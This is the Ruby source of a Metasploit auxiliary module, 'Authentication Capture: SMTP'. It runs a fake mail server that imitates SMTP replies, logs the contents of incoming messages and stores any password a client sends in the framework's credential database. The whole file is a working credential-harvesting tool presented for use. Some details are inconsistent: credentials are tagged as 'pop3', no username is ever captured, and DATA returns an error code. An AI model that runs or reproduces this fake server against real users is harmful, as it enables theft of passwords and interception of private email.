164 lines
3.5 KiB
Ruby
164 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::TcpServer
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'Authentication Capture: SMTP',
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'Description' => %q{
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This module provides a fake SMTP service that
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is designed to capture authentication credentials.
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},
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'Author' => ['ddz', 'hdm'],
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'License' => MSF_LICENSE,
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'Actions' =>
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[
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[ 'Capture' ]
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],
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'PassiveActions' =>
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[
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'Capture'
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],
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'DefaultAction' => 'Capture'
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)
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ])
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])
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end
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def setup
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super
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@state = {}
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end
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def run
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print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
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exploit()
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end
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def on_client_connect(c)
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@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
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c.put "220 SMTP Server Ready\r\n"
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end
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def on_client_data(c)
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data = c.get_once
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return if not data
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print_status("SMTP: #{@state[c][:name]} Command: #{data.strip}")
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if(@state[c][:data_mode])
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@state[c][:data_buff] ||= ''
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@state[c][:data_buff] += data
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idx = @state[c][:data_buff].index("\r\n.\r\n")
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if(idx)
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report_note(
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:host => @state[c][:ip],
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:type => "smtp_message",
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:data => @state[c][:data_buff][0,idx]
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)
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@state[c][:data_buff][0,idx].split("\n").each do |line|
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print_status("SMTP: #{@state[c][:name]} EMAIL: #{line.strip}")
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end
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@state[c][:data_buff] = nil
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@state[c][:data_mode] = nil
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c.put "250 OK\r\n"
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end
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return
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end
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cmd,arg = data.strip.split(/\s+/, 2)
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arg ||= ""
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case cmd.upcase
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when 'HELO', 'EHLO'
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c.put "250 OK\r\n"
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return
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when 'MAIL'
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x,from = data.strip.split(":", 2)
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@state[c][:from] = from.strip
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c.put "250 OK\r\n"
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return
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when 'RCPT'
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x,targ = data.strip.split(":", 2)
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@state[c][:rcpt] = targ.strip
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c.put "250 OK\r\n"
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return
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when 'DATA'
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@state[c][:data_mode] = true
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c.put "500 Error\r\n"
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return
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when 'QUIT'
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c.put "221 OK\r\n"
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return
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when 'PASS'
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@state[c][:pass] = arg
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report_cred(
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ip: @state[c][:ip],
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port: datastore['SRVPORT'],
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service_name: 'pop3',
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user: @state[c][:user],
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password: @state[c][:pass],
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proof: arg
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)
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print_good("SMTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
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end
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c.put "503 Server Error\r\n"
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return
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: opts[:service_name],
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::UNTRIED,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def on_client_close(c)
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@state.delete(c)
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end
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end
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